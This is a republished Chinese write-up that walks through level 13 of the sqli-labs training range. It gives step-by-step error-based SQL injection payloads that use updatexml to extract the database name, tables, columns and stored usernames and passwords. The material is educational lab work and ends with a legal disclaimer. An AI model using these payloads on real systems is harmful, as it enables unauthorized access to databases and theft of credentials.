欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 房产 > 建筑 > SQL注入:sqli-labs靶场通关(第十三关)

SQL注入:sqli-labs靶场通关(第十三关)

2025/2/26 13:48:46 来源:https://blog.csdn.net/l258282/article/details/144316243  浏览:    关键词:SQL注入:sqli-labs靶场通关(第十三关)

1.判断注入类型

1 and 1=1
1 and 1=2

字符型

2.判断闭合点

1'

闭合点为 ‘)

3.猜字段

1') order by 3#
1') order by 2#

4.确定回显位

1') union select 1,2#

没有回显位--报错注入/布尔盲注

5.获取数据库名称

1') union select (updatexml(1,concat(0x7e,(select database()),0x7e),1))#

数据库名称为:security

6.获取所有表名

第一张表

1') union select (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1))#

第二张表

1') union select (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e),1))#

第三张表

1') union select (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 2,1),0x7e),1))#

第四张表

1') union select (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1))#

7.获取所有字段名

第一个字段

1') union select (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1))#

第一个字段名:id

第二个字段

1') union select (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x7e),1))#

第二个字段名:username

第三个字段

1') union select (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),0x7e),1))#

第三个字段名:password

8.获取数据

username

1') union select (updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1))#

第一个数据的username:Dumb

password

1') union select (updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1))#

第一个数据的password:Dumb

总结:

免责声明:工具本身并无好坏,希望大家以遵守《网络安全法》相关法律为前提来使用该工具,支持研究学习,切勿用于非法犯罪活动,对于恶意使用该工具造成的损失,和本人及开发者无关。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词